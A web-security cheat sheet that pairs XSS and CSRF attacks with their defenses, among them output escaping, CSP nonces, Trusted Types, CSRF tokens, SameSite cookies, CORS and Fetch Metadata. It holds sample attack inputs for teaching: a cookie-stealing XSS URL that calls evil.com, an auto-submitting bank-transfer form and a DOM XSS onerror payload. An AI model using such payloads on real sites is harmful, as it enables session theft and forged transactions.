Web Security Basics (XSS/CSRF) Cheat Sheet
Covers cross-site scripting and cross-site request forgery attacks with concrete examples and the defenses that stop them.
Reflected XSS Example & Fix
An unescaped output vulnerability and three ways to fix it.
<!-- VULNERABLE: user input rendered without escaping --><div>Welcome, <?php echo $_GET['name']; ?></div><!-- Attacker URL: ?name=<script>fetch('https://evil.com?c='+document.cookie)</script> --><!-- FIX 1: HTML-escape output --><div>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></div><!-- FIX 2: Content-Security-Policy header blocks inline script execution --><!-- Content-Security-Policy: default-src 'self'; script-src 'self' --><!-- FIX 3: In React/Vue, avoid dangerouslySetInnerHTML / v-html with untrusted input -->
CSRF Attack & Token Defense
An auto-submitting cross-site form and the token that stops it.
<!-- Attacker's page auto-submits a form to your bank while the user is logged in --><form action="https://bank.com/transfer" method="POST" id="csrf"> <input type="hidden" name="to" value="attacker-account"> <input type="hidden" name="amount" value="10000"></form><script>document.getElementById('csrf').submit();</script><!-- DEFENSE: server includes a per-session CSRF token the attacker can't guess --><form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="{{ csrfToken }}"> ...</form><!-- Server rejects the request unless the submitted token matches the session's token -->
XSS Defense Techniques
Layered mitigations against script injection.
- Output encoding- Escape user data based on context (HTML, attribute, JS, URL) before rendering
- Content-Security-Policy- CSP header restricts which scripts/styles can execute, blocking inline injections
- Input validation- Whitelist expected formats server-side; never trust client-side validation alone
- HttpOnly cookies- Prevents document.cookie from exposing session cookies to injected scripts
- Sanitize rich text- Use a library like DOMPurify when you must render user-supplied HTML
- Avoid innerHTML/eval- Use textContent or framework-safe binding with untrusted data instead
CSRF Defense Techniques
Ways to stop forged cross-site requests.
- Synchronizer token pattern- Unique, unpredictable token embedded in forms and verified per request
- SameSite cookies- Set-Cookie: SameSite=Lax or Strict blocks cookies on cross-site requests
- Double-submit cookie- Token sent both as a cookie and a header/body field; server compares them
- Custom request headers- Requiring X-Requested-With on AJAX calls, which cross-origin forms can't set
- Re-authentication- Require password/2FA confirmation for high-value actions like changing email
DOM-Based XSS via Sinks
Client-side JavaScript that writes untrusted data into a dangerous sink without touching the server.
// VULNERABLE: the URL fragment never goes to the server, but the sink is dangerous// e.g. page.html#<img src=x onerror=alert(document.cookie)>const name = location.hash.slice(1);document.getElementById('greeting').innerHTML = 'Hi ' + name; // sink: innerHTML// Other common dangerous sinks:// element.outerHTML = userInput// document.write(userInput)// eval(userInput) / new Function(userInput)// location.href = userInput (javascript: URLs)// $(selector).html(userInput) (jQuery)// FIX: use a safe sink, or sanitize before an HTML sinkdocument.getElementById('greeting').textContent = 'Hi ' + name;// If you must render HTML, sanitize with an allowlist-based libraryimport DOMPurify from 'dompurify';el.innerHTML = DOMPurify.sanitize(untrustedHtml);
CSP Nonces & Trusted Types
Locking down inline scripts with per-request nonces and blocking risky DOM sinks at the browser level.
<!-- Server generates a random nonce per response and only that inline script runs --><!-- Content-Security-Policy: script-src 'self' 'nonce-r4nd0mBase64'; object-src 'none'; base-uri 'self' --><script nonce="r4nd0mBase64"> initApp();</script><!-- Any injected <script> without the matching nonce is blocked, even with an XSS bug --><!-- Trusted Types: browser enforces that only sanitized TrustedHTML can reach innerHTML --><!-- Content-Security-Policy: require-trusted-types-for 'script' --><script> const policy = trustedTypes.createPolicy('app-html', { createHTML: (input) => DOMPurify.sanitize(input), }); el.innerHTML = policy.createHTML(untrustedHtml); // raw string assignment now throws</script>
CORS Preflight & Credentialed Requests
How the browser's CORS checks interact with cookies and cross-origin CSRF exposure.
# Browser preflights a cross-origin request that carries credentials or custom headersOPTIONS /api/transfer HTTP/1.1Origin: https://app.example.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type, authorization# Server must explicitly allow the origin AND credentials — a wildcard '*' is# rejected by browsers whenever Access-Control-Allow-Credentials is presentHTTP/1.1 204 No ContentAccess-Control-Allow-Origin: https://app.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: POSTAccess-Control-Allow-Headers: content-type, authorization# Note: CORS controls whether JS on another origin can READ the response.# It does NOT stop the cross-origin request from being SENT in the first# place (that's what CSRF tokens / SameSite cookies defend against) —# a form POST or <img src> still fires regardless of CORS headers.
Fetch Metadata Request Headers
Modern, browser-generated headers that let a server reject cross-site requests without a token.
- Sec-Fetch-Site- same-origin / same-site / cross-site / none — tells the server the request's relationship to the target
- Sec-Fetch-Mode- navigate / cors / no-cors / websocket — the request mode the browser used
- Sec-Fetch-Dest- document / image / script / empty — what the response will be used for
- Sec-Fetch-User- '?1' only present on requests triggered by a real user activation (click, not script)
- Server policy example- Reject state-changing requests where Sec-Fetch-Site is 'cross-site' as a defense-in-depth layer alongside CSRF tokens
- Browser support caveat- These headers are sent by modern browsers automatically but aren't universal — treat as defense-in-depth, not a sole defense
Clickjacking Defenses
Stopping a page from being framed and tricking users into clicking hidden UI.
- X-Frame-Options: DENY- Legacy header blocking the page from being rendered in any <iframe>
- CSP frame-ancestors- Content-Security-Policy: frame-ancestors 'self' — the modern, more flexible replacement
- SameSite cookies- Also reduce clickjacking impact by keeping session cookies out of cross-site framed contexts
- Frame-busting scripts- Deprecated client-side technique (if (top !== self) top.location = self.location) — headers are more reliable
- UI redress risk- Overlaying transparent iframes over decoy buttons to hijack clicks on a legitimate page
SameSite=Lax cookies (the modern browser default) block most CSRF on top-level navigation, but they don't stop it on same-site subdomains or non-GET requests triggered another way — still implement CSRF tokens on any endpoint that mutates data.